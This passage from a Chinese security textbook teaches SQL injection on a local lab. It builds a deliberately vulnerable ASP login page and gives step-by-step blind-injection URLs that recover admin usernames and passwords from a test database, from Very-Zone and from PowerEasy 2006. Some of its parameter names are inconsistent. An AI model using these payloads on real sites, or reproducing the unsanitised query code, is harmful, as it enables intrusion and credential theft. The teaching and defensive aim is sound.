| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
“注入攻击”这个词在网络上已经是屡见不鲜了。当入侵者准备入侵一台主机时,通常情况下首先查看这台服务器上有无动态网页的Web服务,并且这些动态网页是否存在漏洞。如果存在漏洞,则可以通过一些手段来得到管理员的密码,甚至是整台服务器的控制权。在这些漏洞中比较常见且容易上手的一种攻击方式就是SQL注入攻击,这种技术并不需要太高深的理论基础和复杂的操作。目前掌握这门技术的人较多,也是当前对网站进行入侵的一种主流方式。 本节将披露SQL注入攻击技术的原理和手法,并介绍针对注入攻击的防范措施,希望能够帮助更多的网络管理员远离这种攻击。 1.1.1 测试环境的搭建 本章中的许多内容需要通过实例讲解,考虑到不能随意攻击和破坏他人的网络,笔者在自己的电脑中搭建一台网站服务器,并构造一个存在漏洞的页面作为实例演示之用。 在Windows下有许多网站服务器软件,其中最为常见的是 IIS(Internet Information Server,Internet信息服务)、PWS(Personal Web Server,个人网页服务器),以及Apache服务器等。其中PWS在Windows 98操作系统中比较常见,IIS在Windows 2000以后的Windows操作系统中比较常见,Apache经常在Linux中与PHP配合使用。考虑到大部分读者使用Windows操作系统平台,而且IIS也比较常见并且容易安装,所以以IIS为例讲解搭建如何网络服务器。 IIS的安装过程如下。 (1)将Windows XP的安装光盘放入光驱中,然后单击“开始”׀“设置”׀“控制面板”选项,如图1-1所示。 (2)弹出“控制面板”窗口,单击“添加/删除 Windows 组件”按钮,如图1-2所示。 图1-1 “控制面板”选项 图1-2 “添加/删除Windows 组件”按钮 (3)弹出如图1-3所示的“Windows组件向导”对话框,选择“Internet 信息服务(IIS)”复选框。 图1-3 “Windows组件向导”对话框 (4)单击“下一步”按钮,显示“正在配置组件”对话框,如图1-4所示。等待,直到提示完成,如图1-5所示。 图1-4 “正在配置组件”对话框 图1-5 提示完成 安装IIS之后,IIS会创建操作系统所在盘(下面以C盘为例)的\Inetpub\wwwroot文件夹作为网站的根目录。将相关的网页文件放到这个目录中,即可在IE中浏览这个网页。 为了检验IIS是否能正常工作,使用记事本编写如下代码: <html> <head> <title>测试网页</title> </head> <body>测试IIS是否能正常工作,看到我就说明IIS能正常工作了! </body> </html> 将上述代码保存为aaa.html文件,并复制到上述目录中。打开IE浏览器,访问http://127.0.0.1/aaa.html。如果显示如图1-6所示的测试结果,则说明IIS已正常运行。 图1-6 显示结果 下面测试IIS是否能正常地解析ASP动态脚本网页,在记事本中输入下述代码: <html> <head><title>测试asp</title></head> <body> <% Response.Write “Asp正常执行” %> </body> </html> 将上述代码保存为aaa.asp文件,并复制到上述目录中。然后打开IE,访问http://127.0.0.1/aaa.asp或http://localhost/aaa.asp。如果显示如图1-7所示的测试结果,说明IIS可以正常工作。 图1-7 测试结果 1.1.2 一个简单的实例 大部分留言本的管理后台登录后才能进入。一般情况下,用户在输入密码并单击“登录”按钮后登录页面会把输入的密码提交给一个动态网页。这个网页查看该密码和数据库中的密码是否相同,如果相同,则登录成功;否则就会提示输入错误。 下面首先编写一个页面用来显示用户名和密码文本框,以及“登录”按钮网页文件,代码如下: <html> <head><title>登录页面</title></head> <body> <div align="center"> <form action="login.asp" method="post"> 请输入密码: <br><br> 用 户:<input name="name" type="textbox"> <br>
密 码:<input name="pass" type="password"> <br> <input type="submit" value="登录"> </form> </div> </body> </html> 编写后保存为名为“login.html”的网页文件。 说明如下: <form action="login.asp" method="post"> 这行代码指定把数据提交给login.asp网页。 <input name="name" type="textbox"> …… <input name="pass" type="password"> 这是一个典型的表单,这两行代码显示一个文本框和一个密码文本框。其名称“name”非常重要,login.asp用其从提交的数据中获取用户名和密码数据。 login.asp的代码如下: <% inname = Request("name") inpass = Request("pass") set conn=server.createobject("ADODB.CONNECTION") conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;" Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘") truepass = rs("upass") if inpass=truepass then response.write("登录成功!") else response.write("登录失败!") end if %> <p>用户编号: <%response.write(rs("uid"))%> </p>
<% Set rs=Nothing conn.close %> 说明如下: inname = Request("name") inpass = Request("pass") 从提交的数据中查找名为“name”及“pass”的数据,并分别保存在inname和inpass两个变量中,后者用于比较pass是否正确。 set conn=server.createobject("ADODB.CONNECTION") conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;" 使程序连接C:\Inetpub\wwwroot中的db.mdb 数据库文件,以便查询数据。 Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘") 查询db.mdb数据库data表中,内容为inname 的变量名“uname”,并将其保存在rs变量中。 truepass = rs("upass") 将查询记录中upass字段的内容保存到truepass变量中。 if inpass=truepass then response.write("登录成功!") else response.write("登录失败!") end if 这是经典的判断语句,用于判断inpass变量是否与truepass相同,即判断用户输入的密码是否与数据库中查询的密码相同。如果相同,则输出“登录成功”;否则输出“登录失败”。 <p>用户编号:<% respons.wirte(rs("uid"))%></p> 显示数据库中uid字段的内容,即当前登录用户的编号。 Set rs=Nothing conn.close 释放变量并关闭数据库连接,虽然未释放变量程序仍可正常运行,但这是编程的良好习惯,值得提倡。 为创建db.mdb数据库文件,首先需要安装Access。打开Access 2007主窗口,单击“文件”→“新建”选项,然后创建如表1-1和图1-8所示的表结构。 表1-1 数据库的表结构 <DIV align=center>
图1-8 表结构 输入用户名和密码,双击表名data进入数据编辑界面。添加两条记录,如图1-9所示。其中uname为用户名,upass为密码。 图1-9 添加两条记录 将login.html和login.asp复制到C:\Inetpub\wwwroot目录中,打开IE,输入http://127.0.0.1/login.html即可访问如图1-10所示的登录页面。 输入正确的密码admin后单击“登录”按钮,登录成功,如图1-11所示。 图1-10 登录页面 图1-11 登录成功 输入一个错误密码,如“123”。单击“登录”按钮,显示登录错误。如图1-12所示。 图1-12 登录错误 上述演示说明这个密码验证程序的功能是正确的,问题在于提交的数据。即name的值并没有判断其合法性,而是直接放到SQL语句中使用,如果用户输入的不是密码,而是一段代码,问题就严重了。从理论上讲,确实有很多相似之处。不过注入的效果却显而易见,而且没有多少编程功底的人也可以很容易理解并掌握这种技术。 尝试在“用户”文本框中输入一个单引号,单击“登录”按钮,结果如图1-13所示。 可以看到IIS提示无法显示该网页。如果需要查看错误原因,需要设置IE。为此,单击“工具”|“Internet 选项”选项,如图1-14所示。 打开“Internet选项”对话框,切换到如图1-15所示的“高级”选项卡,清除“显示友好HTTP错误信息”复选框。 单击“确定”按钮,输入单引号作为用户名登录,显示的错误信息如图1-16所示。 图1-13 输入结果 图1-14 “Internet 选项”选项 图1-15 “高级”选项卡 图1-16 错误信息 在检测一个网站的安全性时,检测者并不知道该网站所用的数据库。如果看到这个错误信息,则可以看出Microsoft Jet Database Engine是微软的Access数据库,可以尝试Access的一些已知漏洞。 分析出现这个错误的原因,查询数据库的SQL代码如下: inname = Request("name") …… Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘") 如果用户输入的是一个单引号,那么这个语句变为 SELECT * FROM data WHERE uname=‘‘‘。 这样最后的单引号多余,从而造成语法错误。 1.1.3 用浏览器直接提交数据 在ASP中,从外部接收的数据即参数。名称即参数名,其值即该参数值。在login.asp中,接收的用户名的参数名是“user”,密码的参数名是“pass”,所以提交的数据中应该分别把用户名和密码的参数名与其值匹配。 在浏览器的地址栏中要访问的文件名后面加上问号及参数列表,参数值之间用等号来连接,参数之间用“&”来隔开。用这样的地址来访问该页面,即可达到与页面提交基本上相同的效果。 地址的形式如下: http://要访问的网站/要访问的页面.asp?参数1=值1&参数2=值2…… 其中参数的顺序可以任意调换,不过要保证参数名与值相对应。 如前例中的用户名的参数名是“name”,值是admin;密码的参数名是“pass”,值是admin,则应该在地址栏中输入以下地址: http://127.0.0.1/login.asp?name=admin&pass=admin 显示登录成功,说明数据提交成功并被login.asp接收,如图1-17所示。 图1-17 登录成功 也可以交换两个参数的位置来登录,如用地址http://127.0.0.1/login.asp?pass= 如果密码改为abcde,则访问的地址是: http://127.0.0.1/login.asp?name=admin&pass=abcde http://127.0.0.1/login.asp? pass=abcde&name=admin 访问下面的地址: http://127.0.0.1/login.asp?pass=admin&name =abcde 则会登录失败,因为密码为abcde,用户名为admin。 下面以admin为用户名,以错误的密码“123456”来登录: http://127.0.0.1/login.asp?name=admin&pass=123456 提示登录失败,如图1-18所示。 图1-18 登录失败 说明更换数据,页面的功能仍正常,即可以判断密码的正确性。 使用这种方法模拟提交引号: http://127.0.0.1/login.asp?pass=admin&name=‘ 提示IIS 500错误。 这样登录完全可以代替用页面提交,而且可以省略访问登录页面所用的时间,从而提高效率。 这种提交方式在没有任何漏洞可利用的情况下,还可以通过穷举法使用可能的密码组合来登录,登录成功说明密码正确。 在研究SQL注入过程中,将会不停地提交数据测试,所以用这种方法将会事半功倍。而且在实际的入侵中,很多注入点未提供用户输入。在这种情况下,也只有用这种方法来提交数据才能执行SQL注入。 1.1.4 注入型攻击原理 如前所述,因为页面直接把用户提交的用户名(一个单引号)放到SQL语句中执行,所以造成引号不成对的语法错误。通过错误提示,攻击者可以知道该网站所用的数据库类型,然后针对这个数据库的漏洞进行攻击。 SQL语句 <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">SQL语句之间用分号“;”隔开。 </DIV>SELECT语句 SELECT语句是SQL中的查询语句,通常用于查询数据库中的数据,其语法如下: SELECT 要查询的内容(可以是字段名列表) FROM 表名; 其中要查询的内容可以是字段名列表,多个字段名之间用逗号“,”隔开,查询所有字段用星号“*”表示。 表名是用来指定要查询的数据库中表的名称。 如查询data表中的uname和upass两个字段的值,语句如下: SELECT uname,upass FROM data; 因为data数据库中只有uname和upass两个字段,所以可以编写如下语句查询所有列值: SELECT * FROM data; WHERE语句 WHERE语句通常放在SELECT语句后面,用来设置查询过虑条件,即只查询符合条件的数据,其语法如下: WHERE 查询条件列表 查询条件是一个布尔值(即逻辑值,真或者假)表达式,如果要查询所有数据,则条件为空。例如: SELECT * FROM data WHERE uname=‘admin’; 多个条件之间用“and ”连接,如要查询在数据库中uname字段为admin,以及upass字段为admin的数据: SELECT * FROM data WHERE uname=‘admin’ and upass=‘admin’; 在SQL中字符串的内容用一对单引号引起。字符串可以为空,如上述语句可写成: SELECT * FROM data WHERE uname=‘’ and upass=‘’; 判断是否有注入漏洞要用到逻辑运算,这里重点介绍“与”运算。 上例中用来查询的语句是: SELECT * FROM data WHERE uname=‘用户输入的用户名’ 在这个语句中只有一个条件,即uname为用户输入的用户名。如果在后面再加一个“1=1”的条件: SELECT * FROM data WHERE uname=‘用户输入的用户名’ and 1=1 由于1=1是永远成立的,所以不影响整个语句的执行。 如果添加“1=2”的条件: SELECT * FROM data WHERE uname=‘用户输入的用户名’ and 1=2 由于1=2永远不成立,所以所有的条件都不成立。通过在数据库查询语句后面添加 and 1=1 和 and 1=2两个条件,查看是否影响页面的查询结果,即可判断注入的语句是否被执行,即检测页面是否存在SQL注入漏洞。 下面通过实例来查看利用注入漏洞,漏洞页面中语句的原型如下: SELECT * FROM data WHERE uname=‘用户输入的用户名’ 输入如下SQL语句: SELECT * FROM data WHERE uname=‘admin’ and 1=1’ 在浏览器的地址栏中输入: http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1 访问页面提示出错,最后引号多余。 重新构造用户名: admin’ and 1=1 and ‘a’=‘a SQL语句为: SELECT * FROM data WHERE uname=‘admin’ and 1=1 and ‘a’=‘a’ 第3个条件‘a’= ‘a’与‘1’= ‘1’均为一个永远成立的条件,并不影响其他条件。 在浏览器中提交,输入以下地址: http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1 and ‘a’=‘a 可以正常显示页面,如图1-19所示。 图1-19 登录成功 在地址栏中有多个类似“%20”的编码,即URL编码,浏览器会自动地把一些特殊的字符转换成该编码。“%20”是空格的URL编码。 下面提交1=2的恒错条件让页面出错,查看是否能影响页面的执行。 在浏览器地址栏中输入以下地址: http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=2 and ‘a’=‘a 页面出错可以说明这个页面有SQL注入漏洞。使用1=1和1=2的条件来分别访问页面时,如果显示的内容不同,则说明存在漏洞。 SQL的SELECT…FROM语句的返回值为要查询的记录内容。 下面利用漏洞来猜解,首先猜解数据库的表名。以下语句可以作为一个条件来使用: (SELECT uid FROM data WHERE uname=‘admin’)=1 这是个复杂条件,首先用SELECT语句查询数据库中uname字段为admin的记录,得到其uid字段值。再对比是否为1,为1,则这个条件为真;否则为假。 同样,以下这个语句也是一个条件: (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ 首先用SELECT语句查询数据库中uname字段为admin的记录,得到其upass字段值。然后对比是否为admin,为admin,则这个条件为真;否则为假。 把这个语句作为一个条件,然后插到前面用来检测是否存在漏洞的语句中,即: SELECT * FROM data WHERE uname=‘admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a’ 如果uname为admin的记录的upass字段值是admin,添加的条件为真;否则为假。因为使用与运算(and),所以只要条件列表中的一个条件是假,则所有条件都不成立。 根据上面所述来构造如下访问地址: http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a 页面成功显示。 更换一个值: http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘123’ and ‘a’=‘a 页面出错,说明uname是admin的记录的upass字段的值不是123。 基于此,可以判断猜测的密码是否正确。破解者只要不停地改变上面加粗部分的值来提交测试,页面正常显示说明页面根据这个条件查询到数据。这样等于猜解出了用户的密码。 如果用户把密码设置得难以猜测的话,攻击者很难猜到,那么这种方法没有优势,而且比较麻烦。不过,如果配合利用SQL 语言的灵活性及其自带的一些函数的话,这种方法还是可取的。 1.1.5 典型攻击过程及代码分析 在本节中将会介绍如何利用漏洞猜解出表名、字段名,然后得到用户的名称和密码。 在实际的入侵中,入侵者不知道目标网站的数据库结构。即数据库的表名及字段名,所以不存在上述的入侵。 要得到数据库中的用户名和密码,首先应该知道其中用来保存用户名和密码的数据表的表名。 使用COUNT函数来查询这个表时,得到的结果应该大于0。 根据这个推论,可以构造如下条件语句: (SELECT COUNT(*) FROM data)>0 把这个条件语句利用漏洞试试,构造的URL地址如下: http://127.0.0.1/login.asp?uname=admin’ and (select count(*) from data )>0 and ‘a’=‘a 提交这个地址,如果页面能正常显示,则说明这个表存在;否则说明用来保存用户名和密码的表不是这个表。在入侵时,只要不停地变换表名(URL中的“data”部分)。直到页面正常显示,说明这个表存在。 如果运气不好,猜到的这个表不一定用来保存用户名和密码。不过程序员在编写页面时为了方便调用和维护,不会用复杂的表名,所以表名比用户名容易猜得多。一般来说,用来保存用户名和密码的表名类似于user、manage及admin等。常用的表名可以在网络上搜索到很多,只要有足够的经验,很容易猜出表名。 在猜解出表名以后,需要猜解字段名。为此在COUNT中加入猜测的字段名,即构造如下SQL条件语句: (SELECT COUNT(uname) FROM data)>0 根据这个语句构造的URL地址如下: http://127.0.0.1/login.asp?uname=admin’ and (select count( uname ) from data )>0 and ‘a’=‘a 如果页面正常显示,说明字段存在;否则说明字段不存在。 表1-2所示是笔者积累的一些常见的表名,以及用户名和密码的字段名,在猜测表名和字段名时会用到。 猜解出表名和字段名以后,可以猜解用户名和密码。提交不同的SQL语句给页面,根据其显示是否正常,可以把数据库中所有记录的数据逐个“解出”。 SQL语法知识 <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">len()函数:为取得字符串的长度 len(字符串) </DIV>
表1-2 常见表名,以及用户名和密码的字段名 <DIV align=center>
下面以猜解admin用户的密码为例,首先要确定密码的长度,可以使用SQL的Len()函数,构造如下条件语句: (SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0 这个条件语句的两个条件是uname为admin,以及upass字段的值长度大于1,即upass值要有两位以上。在条件不成立时,SELECT语句查询不到任何数据。结果应该为0,所以 (SELECT……)>0不成立。 把这个条件语句加到URL中提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0 and ‘a’=‘a 如果页面能正常显示,说明用户名是admin的这个用户的密码至少有两位;否则说明密码不大于1位,即这个密码可能是1位或0位(为空)。 所以只要不停地修改len()后面的数字,即可确定密码的长度。如要猜解例中的密码长度,可以按如下顺序提交数据: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=0 ) >0 and ‘a’=‘a http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=1 ) >0 and ‘a’=‘a · · · http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=5 ) >0 and ‘a’=‘a 一直到数字改为5时页面才能正常显示,说明密码的长度为5位。 但是这种方法并不高明,逐个数字猜解需要大量时间。在真正的入侵中,如果密码有数十位,则不知要试到何年何月。 二分法首先确定一个大概的范围,然后慢慢缩小,直到能确定这个数为止。如例中的这个密码的长度可以这样猜: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<16 ) >0 and ‘a’=‘a 一般用户的密码都是16位以内,所以用len(upass)<16作为条件页面能正常显示,说明密码不到16位。现在可以确定密码的长度在0~15之间,接着找出0~16之间的中间数,计算中间数的公式如下: 中间数=(最大值-最小值)÷2+最小值 套用公式计算如下: (16-0)÷2+0=8 用8来测试,提交的数据如下: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<8 ) >0 and ‘a’=‘a 如果页面不能正常显示,说明密码的长度在8位~16位之间;否则说明密码的长度在0位~7位之间。继续缩小范围: (8-0)÷2+0=4 继续用4来测试、提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<4 ) >0 and ‘a’=‘a 页面出错,说明密码的长度不小于4。即大于等于4。同时小于等于8,继续缩小范围: (8-4)÷2+4=6 用6来提交测试: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<6 ) >0 and ‘a’=‘a 页面正常显示,说明密码的长度小于6位。下面可以用4和5来分别测试: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=4 ) >0 and ‘a’=‘a http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=5 ) >0 and ‘a’=‘a SQL语法知识 <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">Mid()函数:取得字符串从“起始位置”字符位置起字符个数为“长度”的子字符串。 mid(字符串,起始位置,长度) mid(‘abcd’,2,2) 结果是bc。 </DIV>如果将上述语句改成mid(‘abdefg’,3,3),结果是def。 利用mid()函数并结合二分法,即可逐位解出密码。 首先来猜解第1位密码,构造的SQL条件语句如下, (SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0 该语句取第1位密码,并判断是否为字符a。如果是,则条件成立;否则条件不成立。 把这个条件语句整合到URL地址中,提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0 and ‘a’=‘a 页面显示正常,说明猜对。不过要猜解完密码,需要使用二分法。 接下来开始猜解第2位密码,提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)= ‘a’ ) >0 and ‘a’=‘a 页面出错,说明第2位密码不是字母a。可以用二分法确定一个范围,再逐步缩小这个范围来确定密码内容。以如下URL地址测试: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)> ‘a’ ) >0 and ‘a’=‘a 页面正常显示,再提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘z’ ) >0 and ‘a’=‘a 根据前面提交的两个地址都可以正常显示页面,可以推断出第2位密码是小写的字母a~ z中的一个。 由于字母的中间数不好求,所以只要估计大概即可。 继续猜解第2位密码,字母a~ z的中间位置大概是字母o,提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘o’ ) >0 and ‘a’=‘a 页面正常显示,说明密码是字母a~o之间的一个字母。继续取中间位置来试,字母a~o的中间位置大概是h,所以提交: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘h’ ) >0 and ‘a’=‘a 页面正常显示,可以确定第2位密码a~h之间的一个字母。继续缩小范围,用字母e测试: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘e’ ) >0 and ‘a’=‘a 页面正常显示,然后可以分别测试字母b、c和d,用二分法测试。 http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘d’ ) >0 and ‘a’=‘a 页面出错,即第2位密码小于字母e且大于或等于字母d,因此为字母d。测试: http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘d’ ) >0 and ‘a’=‘a 页面显示正常,说明第2位密码是字母d。 接下来用同样方法猜解后面的3位密码。测试的步骤及其结果如表1-3所示。 表1-3 测试步骤及其结果 <DIV align=center>
续表 <DIV align=center>
到这里,用户admin的5位密码都猜解出来,分别是a、d、m、i和n。把mid函数中要猜解的字段名upass换成uname,即可逐位猜解用户名。 1.1.6 Very-Zone SQL注入漏洞代码分析 Very-Zone(非常地带,简称“VZ”)程序是一款个人互动门户管理的ASP系统,模仿QQ空间(Q-Zone)的用户页面。它的早期版本存在着SQL注入漏洞,目前从网络上下载的版本已经使用SQL通用防注入程序防止了这个漏洞。为了能够演示如何利用漏洞,笔者删除了其中的SQL通用防注入程序。 为了更真实地模拟入侵过程,笔者将VZ作为网络一个真实的网站服务器进行渗透。 打开VZ首页及页面中的一个带参数的链接,以http://127.0.0.1/veryzone/ 图1-20 打开的链接 在打开的地址栏参数后面加上一个永远成立的条件“and 1=1”,页面能正常显示。 更换为一个永远都不会成立的条件“and 1=2”,页面中无公告内容,如图1-22所示。 图1-21 页面正常显示 图1-22 无公告内容 确定插入条件会影响页面的显示结果后,可以插入不同的条件并根据页面的显示来判断条件是否成立。 首先来猜表名,提交地址: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(*) from Admin)>0 页面能正常显示,表Admin确实存在。 猜测用户名的字段,提交地址: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(User) from Admin)>0 页面没有内容,说明猜错,即数据库中没有User这个字段名。把User换成其他字段名来继续猜解,在提交以下地址时,页面正常显示: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(UserName) from Admin)>0 说明在数据库的Admin表中有UserName这个字段。 在提交以下地址后,页面正常显示: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(Password) from Admin)>0 这次猜出一个Password字段,根据表名和字段名不难估计Admin表中保存的是管理员的信息。UserName字段保存的是其用户名,Password保存的是用户密码。 知道表名和字段名之后,可以猜解数据库中的数据。首先来猜解管理员的用户名长度: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)<5) >0 页面未显示公告内容,说明管理员的用户名长度不小于5。再提交: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)<6) >0 页面正常显示,说明管理员的用户名长度小于6,即用户名长度是5,提交如下地址验证: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)=5) >0 页面正常显示。 接下来猜解5位管理员用户名。用二分法来猜解: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,1,1)= ‘a’) >0 页面正常显示,第1位用户名是字母“a”。 http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,2,1)= ‘d’) >0 页面正常显示,第2位用户名是字母“d”。 http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,3,1)= ‘m’) >0 页面正常显示,第3位用户名是字母“m”。 http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,4,1)= ‘i’) >0 页面正常显示,第4位用户名是字母“i”。 http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,5,1)= ‘n’) >0 页面正常显示,第5位用户名是字母“n”。 到这里,管理员的用户名被猜解出来,即“admin”。 验证是否准确: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where UserName= ‘admin’) >0 页面正常显示,用户名“admin”存在。 接下来猜测密码: http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(Password)=16) >0 页面正常显示,管理员的密码长度是16。 http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,1,1)= ‘7’) >0 页面正常显示,管理员的第1位密码是7。 http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,2,1)= ‘a’) >0
…… http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,16,1)= ‘e’) >0 页面正常显示,管理员的第16位密码是e。 至此,密码被猜解出来,即“7a57a5a743894a0e”,这是字符串“admin”用MD5算法加密后的结果。 以用户admin,密码admin登录后台,登录界面如图1-23所示。 管理员的用户名和密码正确,成功进入后台,如图1-24所示。 图1-24 进入后台 本节通过Very-Zone个人互动门户管理的Asp系统的SQL注入漏洞演示了如何利用漏洞获取管理员的用户名和密码,这是相当常见的手法。 1.1.7 动易商城2006 SQL注入漏洞代码分析 动易商城是一个在网上很知名的ASP信息发布及商品交易程序,这个程序有免费版本,从网上下载该程序来安装。下载程序的压缩包解压后的PowerEasy2006.exe文件是安装程序,直接双击它运行安装程序。 直接安装后的动易商城不可用,访问结果如图1-25所示。 图1-25 访问结果 需要安装动易的组件,安装程序是PE2006_DLL.exe。双击即可安装,安装时在图1-26所示的对话框中清除“停止IIS服务”和“重启IIS服务”复选框;否则IIS可能会无法使用。 图1-26 “选择组件”对话框 因为安装在C:\Inetpub\wwwroot\PowerEasy中,所以应该通过 http://127.0.0.1/powereasy/ 图1-27 打开的页面 网上关于这个程序最新漏洞的描述如下: <DIV align=center>
NewComment.asp文件用来显示用户评论,调用该文件需要添加评论,然后才能测试这个漏洞。 相关知识 Request()函数:是ASP程序中的常见函数。可用来根据参数名取得客户端提交到服务器的参数。调用形式如下: Request(“参数名”) 其中的参数名为要取得的参数名,这些参数从网页提交。如前一节例子中提交的http://127.0.0.1/login.asp?name=admin&pass=admin中有name和pass两个参数。如果程序要取得name参数的值,应该在程序中编写如下代码: Request(“name”) 如果要取得pass参数值并保存在aaa变量中,代码如下: aaa = Request(“pass”) Trim()函数:用来删除字符串前后两边的空格。在处理字符串数据时经常会用到,调用形式如下: Trim(字符串) 函数会返回删除两侧空格后的字符串,比如: Str1=“ 你好! ” Str2=Trim(Str1) <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">执行以上语句之后,字符串变量Str2的内容是“你好!”。 </DIV>首先要确定漏洞在何处,用文本编辑器打开Region.asp。目标确定在Province这个变量上,代码如下: Province = Trim(Request.QueryString("Province")) 该语句取得Province参数值并保存在Province变量中,而后继续查看下面的代码: …… Call OpenConn Set TempRs = Conn.Execute("SELECT Country FROM PE_Country ORDER BY Country") …… Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province=' " & Province & " ' ") …… ReDim ShowCity(0, 0) …… 这段代码直接从客户端接收Province参数并赋值给Province变量,直到加黑的语句调用它。即将其放到SQL语句中执行,并且把查询到的数据放到页面的下拉列表框中显示。没有经过仔细过滤而使用用户提交的数据显然是一个SQL注入漏洞,因为通过提交特殊的数据可以让服务器执行一些特殊的SQL语句。 SQL语法 UNION联合语句:合并多条语句查询的结果,如: SELECT * FROM A UNION SELECT * FROM B <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">这条语句的作用是查询表A中和表B中的所有数据并合并在一起。假如查询结果的数据是李四,则用UNION把两条查询的结果合并,结果是张三和李四两项数据。 </DIV>这个漏洞的特点是把查询结果显示在下拉列表框中,这样通过精心构造的SQL语句可能让页面直接在下拉列表框中显示管理员的账号和密码。 首先尝试提交Province参数并且在数据后面加单引号让页面出错,提交: http://127.0.0.1/powereasy/Region.asp? province=a' 出错的页面,如图1-28所示。 图1-28 出错的页面 说明提交的单引号被放到SQL语句中。把数据代入到代码中形成如下SQL语句: SELECT DISTINCT City FROM PE_City WHERE Province=‘a’ ’ 能控制的部分是“a’”。如果要正确显示页面,必须删除后面的单引号,即: 